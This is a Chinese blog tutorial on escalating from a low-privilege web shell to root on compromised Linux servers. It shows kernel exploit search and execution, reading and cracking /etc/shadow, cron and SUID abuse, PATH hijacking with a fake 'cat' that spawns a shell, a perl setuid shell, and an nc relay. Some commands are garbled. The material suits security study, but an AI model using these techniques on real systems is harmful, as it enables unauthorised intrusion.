Linux提權(quán):從入門(mén)到放棄
日站就要日個(gè)徹底。往往我們能拿下服務(wù)器的web服務(wù),卻被更新地比西方記者還快的管理員把內(nèi)網(wǎng)滲透的種子扼殺在提權(quán)的萌芽里面。Linux系統(tǒng)的提權(quán)過(guò)程不止涉及到了漏洞,也涉及了很多系統(tǒng)配置。一下是我總結(jié)的一些提權(quán)方法。
幾點(diǎn)前提
- 已經(jīng)拿到低權(quán)shell
 - 被入侵的機(jī)器上面有nc,python,perl等linux非常常見(jiàn)的工具
 - 有權(quán)限上傳文件和下載文件
 
內(nèi)核漏洞提權(quán)
提到臟牛,運(yùn)維流下兩行眼淚,我們留下兩行鼻血。內(nèi)核漏洞是我們幾乎最先想到的提權(quán)方法。通殺的內(nèi)核漏洞是十分少見(jiàn)的,因而我們應(yīng)該先對(duì)系統(tǒng)相關(guān)的信息進(jìn)行收集。
查看發(fā)行版
- cat /etc/issue
 - cat /etc/*-release
 
查看內(nèi)核版本
- uname -a
 
這里我找了臺(tái)機(jī)器測(cè)試:
- #uname -a
 - Linux xxxxx 2.6.32-21-generic-pae #32-Ubuntu SMP Fri Apr 16 09:39:35 UTC 2010 i686 GNU/Linux#cat /etc/*-release
 - DISTRIB_ID=UbuntuDISTRIB_RELEASE=10.04
 - DISTRIB_CODENAME=lucid
 - DISTRIB_DESCRIPTION="Ubuntu 10.04 LTS"
 
這樣,我們就得到了系統(tǒng)的內(nèi)核版本(2.6.32-21 pae),cpu架構(gòu)(i686),和發(fā)行版(ubuntu 10.04)
可以開(kāi)始搜索了
大多內(nèi)核漏洞通過(guò)內(nèi)核版本能很快查到
用kali自帶的searchsploit來(lái)搜索exploitdb中的漏洞利用代碼
- searchspoit linux 2.6 ubuntu priv esc
 
結(jié)果:
這么多,我們加入系統(tǒng)信息縮小范圍
- searchsploit linux priv esc 2.6 ubuntu 10
 
這樣可選的exp就少多了,很無(wú)奈,我們需要漫長(zhǎng)的 點(diǎn)開(kāi)exp看具體要求 的篩選過(guò)程,大部分exp都會(huì)寫(xiě)清生效條件。因此我們能夠雖然很氣,但也很快地去掉一些不具備利用條件的exp。比如第三個(gè)exp針對(duì)一個(gè)特別的磁盤(pán)格式,排除。
經(jīng)過(guò)艱難的尋找,發(fā)現(xiàn)15704,c很順眼,于是把源代碼上傳,然后:
- #gcc exp.c
 - #lsexp.c
 - a.out#./a.out
 - id
 - uid=0(root) gid=0(root)
 
我們先編譯exp再執(zhí)行??梢钥吹絜xp執(zhí)行以后沒(méi)輸出,但是我們其實(shí)已經(jīng)得到rootshell了(exp執(zhí)行以后 一定敲個(gè)命令 ,不然都不知道是成功了還是卡了)
exploitdb的搜索過(guò)程雖然繁瑣,但是能基本保證不會(huì)遺漏漏洞。如果想先偷懶圖個(gè)快的話,我們可以試試 https://www.kernel-exploits.com/ ,這里的exp已經(jīng)按照內(nèi)核版本分類(lèi)了,而且有很多已經(jīng)完成了編譯。
比如我們搜索2.6.32:
這個(gè)rds的binary剛巧能用。“我收集信息了,我上傳exp了,我就root了。“
當(dāng)然,以上只是非常理想的情況,我們經(jīng)常會(huì)遇到?jīng)]有g(shù)cc的坑爹服務(wù)器。這時(shí)我們就需要在本地編譯。本地編譯時(shí)不止要 看exp源碼注釋的編譯參數(shù) ,也需要手動(dòng)調(diào)整一下編譯的參數(shù),比如給gcc 加-m 32來(lái)編譯32位。編譯問(wèn)題繁多,有困難找谷歌,不再贅述。
當(dāng)內(nèi)核版本沒(méi)有好用的exp對(duì)應(yīng)的時(shí)候,可以檢查磁盤(pán)格式:
- cat /etc/fstab
 
和已經(jīng)安裝的程序:
- dpkg -l
 - rpm -qa
 
然后進(jìn)行剛剛繁瑣的搜索,沒(méi)準(zhǔn)就找到個(gè)bug
最后強(qiáng)調(diào)利用內(nèi)核漏洞的幾個(gè)注意點(diǎn):
- 讀源碼 ,不然可能連編譯都不會(huì)
 - 讀源碼 ,不然費(fèi)勁編譯完才發(fā)現(xiàn)不適用
 - 讀源碼 ,不然遇到一個(gè)刪全盤(pán)的”exp“怎么辦
 
明文root密碼提權(quán)
passwd和shadow
雖然遇到的概率很小,但還是提一下
大多l(xiāng)inux系統(tǒng)的密碼都和/etc/passwd和/etc/shadow這兩個(gè)配置文件息息相關(guān)。passwd里面儲(chǔ)存了用戶,shadow里面是密碼的hash。出于安全考慮passwd是全用戶可讀,root可寫(xiě)的。shadow是僅root可讀寫(xiě)的。
這里是一個(gè)典型的passwd文件
- root:x:0:0:root:/root:/bin/bash
 - daemon:x:1:1:daemon:/usr/sbin:/bin/sh
 - bin:x:2:2:bin:/bin:/bin/sh
 - sys:x:3:3:sys:/dev:/bin/sh
 - sync:x:4:65534:sync:/bin:/bin/sync
 - games:x:5:60:games:/usr/games:/bin/sh
 - man:x:6:12:man:/var/cache/man:/bin/sh
 - lp:x:7:7:lp:/var/spool/lpd:/bin/sh
 - mail:x:8:8:mail:/var/mail:/bin/sh
 - news:x:9:9:news:/var/spool/news:/bin/sh
 - uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
 - proxy:x:13:13:proxy:/bin:/bin/sh
 - www-data:x:33:33:www-data:/var/www:/bin/sh
 - backup:x:34:34:backup:/var/backups:/bin/sh
 - list:x:38:38:Mailing List Manager:/var/list:/bin/sh
 - irc:x:39:39:ircd:/var/run/ircd:/bin/sh
 - nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
 - ibuuid:x:100:101::/var/lib/libuuid:/bin/sh
 - syslog:x:101:103::/home/syslog:/bin/false
 - sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
 
passwd由冒號(hào)分割,第一列是用戶名,第二列是密碼,x代表密碼hash被放在shadow里面了(這樣非root就看不到了)。而shadow里面最重要的就是密碼的hash
- root:$6$URgq7sJf$4x8e9ntqTwAPIubi9YLxLQ2mZTTZKnGz0g/wWzOdPB5eGuz.S5iRtFdvfFd9VIVEWouiodB/hh9BYOLgAD8u5/:16902:0:99999:7:::
 - daemon:*:15730:0:99999:7:::
 - bin:*:15730:0:99999:7:::
 - sys:*:15730:0:99999:7:::
 - sync:*:15730:0:99999:7:::
 - games:*:15730:0:99999:7:::
 - man:*:15730:0:99999:7:::
 - lp:*:15730:0:99999:7:::
 - mail:*:15730:0:99999:7:::
 - news:*:15730:0:99999:7:::
 - uucp:*:15730:0:99999:7:::
 - proxy:*:15730:0:99999:7:::
 - www-data:*:15730:0:99999:7:::
 - backup:*:15730:0:99999:7:::
 - list:*:15730:0:99999:7:::
 - irc:*:15730:0:99999:7:::
 - gnats:*:15730:0:99999:7:::
 - nobody:*:15730:0:99999:7:::
 - libuuid:!:15730:0:99999:7:::
 - syslog:*:15730:0:99999:7:::
 - mysql:!:15730:0:99999:7:::
 - dovecot:*:15730:0:99999:7:::
 - sshd:*:15730:0:99999:7:::
 - postfix:*:15730:0:99999:7:::
 - shell命令來(lái)檢查權(quán)限
 - cd /etc
 - ls -l passwd shadow
 
如果passwd可寫(xiě),我們就可以把root的密碼字段(x)替換成一個(gè)已知密碼的hash(比如本機(jī)shadow里面的root密碼hash),這樣系統(tǒng)在驗(yàn)證密碼時(shí)以passwd的為準(zhǔn),密碼就已知了。如果shadow可讀,我們可以讀走root的hash,然后用hashcat或者john暴力破解之。
密碼復(fù)用
很多管理員會(huì)重復(fù)使用密碼,因此數(shù)據(jù)庫(kù)或者web后臺(tái)的密碼也許就是root密碼。
and then?
有了(疑似)root密碼怎么辦?你一定想ssh登陸。然而ssh很可能禁止root登陸,或是防火墻規(guī)則將你排除在外了。返回來(lái)想,我們不是有一個(gè)低權(quán)shell了嗎?找個(gè)辦法再上面“輸入”密碼就好了。顯然,直接在低權(quán)shell里面用sudo是不奏效的。這是因?yàn)槌鲇诎踩紤],linux要求用戶必須從 終端設(shè)備 (tty)中輸入密碼,而不是標(biāo)準(zhǔn)輸入(stdin)。換句話說(shuō),sudo在你輸入密碼的時(shí)候本質(zhì)上是讀取了鍵盤(pán),而不是bash里面輸入的字符。因此為了能夠輸入密碼,我們必須模擬一個(gè)終端設(shè)備。python就有這樣的功能。在shell里面輸入:
- python -c 'import pty;pty.spawn("/bin/sh")'
 - 就用python簡(jiǎn)歷了一個(gè)虛擬終端,然后就可以使用sudo等等命令了。
 - python -c 'import pty;pty.spawn("/bin/sh")'
 - $ sudo su
 - sudo su
 - [sudo] password for www-data: 123456
 - Sorry, try again.
 - [sudo] password for www-data:
 
計(jì)劃任務(wù)
系統(tǒng)內(nèi)可能會(huì)有一些定時(shí)執(zhí)行的任務(wù),一般這些任務(wù)由crontab來(lái)管理,具有所屬用戶的權(quán)限。非root權(quán)限的用戶是不可以列出root用戶的計(jì)劃任務(wù)的。但是/etc/內(nèi)系統(tǒng)的計(jì)劃任務(wù)可以被列出
- ls -l /etc/cron*
 
默認(rèn)這些程序以root權(quán)限執(zhí)行,如果有幸遇到一個(gè)把其中腳本配置成任意用戶可寫(xiě)的管理員,我們就可以修改腳本等回連rootshell了。
SUID
SUID是一種特殊的文件屬性,它允許用戶執(zhí)行的文件以該文件的擁有者的身份運(yùn)行。比如passwd命令,就是以root權(quán)限運(yùn)行來(lái)修改shadow的。
這里我們做個(gè)實(shí)驗(yàn)(環(huán)境為ubuntu 16.04):
c源代碼
- #include
 - #include
 - int main()
 - {
 - setuid(0);//run as root
 - system("id");
 - system("cat /etc/shadow");
 - }
 
以root進(jìn)行編譯和權(quán)限設(shè)置
- gcc suid.c -o suid-exp
 - chmod 4755 ./suid-exp#這里設(shè)置了SUID位
 - ls -l
 
輸出
- -rwsr-xr-x 1 root root 8632 Mar 15 20:53 suid-exp
 
注意s屬性,表示這個(gè)程序有SUID的屬性。
接下來(lái)我們切換用戶并執(zhí)行
- su test
 - ./suid-exp
 
可以看到程序?qū)嶋H上已經(jīng)提升到了root權(quán)限。
SUID程序經(jīng)常存在提權(quán)漏洞,比如nmap就曾出現(xiàn)過(guò)提權(quán)漏洞。低權(quán)用戶通過(guò)打開(kāi)nmap交互模式以root執(zhí)行任意系統(tǒng)命令。而除了借助程序功能提權(quán),我們還可以嘗試劫持環(huán)境變量提權(quán)。上文的c程序使用了system函數(shù),system函數(shù)是繼承環(huán)境變量的,因此我們通過(guò)替換環(huán)境變量可以達(dá)到執(zhí)行任意命令的效果。
我們進(jìn)入test低權(quán)用戶的shell
- cat >> /tmp/cat <
 - #!/usr/bin/python
 - print "this is not the true cat"
 - print "here is a root shell!"
 - import pty;pty.spawn("/bin/sh")
 - EOF
 - # 這里我們?cè)?tmp建立了假的cat,它會(huì)用python執(zhí)行一個(gè)shell
 - PATH=/tmp:$PATH#設(shè)置PATH,優(yōu)先從/tmp查找程序
 - ./suid-exp#執(zhí)行suid程序,因?yàn)镻ATH被劫持,system("cat /etc/shadow");會(huì)執(zhí)行我們的假cat
 
運(yùn)行結(jié)果
還有一種情況:管理員配置錯(cuò)誤,把不帶setuid(0);代碼的程序配置了SUID。當(dāng)這些程序被劫持的時(shí)候,我們需要自己的程序中使用setuid(0);來(lái)提權(quán)到root。這里有一個(gè)小技巧,我們用perl腳本來(lái)setuid:
- #!/usr/bin/perl
 - $< = $>;
 - $( = $) = 0;
 - system ("/bin/sh"):
 
用這個(gè)簡(jiǎn)單的腳本劫持,就把shell運(yùn)行在root權(quán)限下了。
網(wǎng)絡(luò)與隱藏的服務(wù)
有一些服務(wù)器的服務(wù)會(huì)被配置成對(duì)內(nèi)網(wǎng)或者對(duì)本機(jī)開(kāi)放。通過(guò)對(duì)他們的攻擊我們有機(jī)會(huì)接觸更多的敏感文件,或是運(yùn)氣足夠好碰上一個(gè)遠(yuǎn)程root漏洞。
- netstat -antup#查看各種網(wǎng)絡(luò)服務(wù)
 
如果找到些神秘的服務(wù),可以用netcat做個(gè)轉(zhuǎn)發(fā)
- mkfifo backpipe
 - nc -l 8082 0backpipe
 
之后找漏洞,攻擊,從頭再來(lái)。
相關(guān)工具
提了那么配置錯(cuò)誤的利用,卻沒(méi)說(shuō)怎么找這些錯(cuò)誤
分享兩個(gè)腳本:
unix-privesc-check: http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
這兩個(gè)程序不止細(xì)致地檢查了非常多的配置問(wèn)題,更讓人感動(dòng)地列出了所有可寫(xiě)文件。基本上可以說(shuō)他們的檢查是足夠全面的。
當(dāng)然如果希望手動(dòng)檢查還是推薦 https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
總結(jié)
Linux提權(quán)花樣非常多,涉及的技術(shù)五花八門(mén)。寫(xiě)這篇文章的時(shí)候總想把相關(guān)知識(shí)都解釋清楚,但是面對(duì)系統(tǒng)繁瑣的工作過(guò)程和眾多的發(fā)行版深感自己理解之淺。我很贊同在很多論壇上看到的對(duì)于linux提權(quán)的提示:你需要知道linux系統(tǒng)的工作方式。各種奇技淫巧或是無(wú)比腦殘的錯(cuò)誤最終都回歸到了系統(tǒng)的運(yùn)行流程和權(quán)限管理機(jī)制上面。回歸本質(zhì),系統(tǒng)地了解系統(tǒng)才是保證安全的最佳方式。























 
 
 








 
 
 
 